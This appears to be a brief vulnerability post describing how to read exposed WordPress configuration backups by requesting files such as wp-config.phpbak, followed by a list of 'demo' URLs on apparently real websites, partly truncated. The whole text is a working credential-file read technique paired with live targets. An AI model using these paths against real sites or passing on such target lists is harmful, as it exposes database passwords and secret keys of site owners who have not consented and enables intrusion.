Wordpress phpBAK read Config Vulnerability

http://localhost/wp-config.phpbak

Demo urls:

http://www.aftercare...p-config.phpBAK
http://www.supplycha...p-config.phpbak
http://mlmjwilliams....-config.php-bak
http://djmarzo.co.uk/wp-config.phpbak
http://cuothe.pundit...-config.php-bak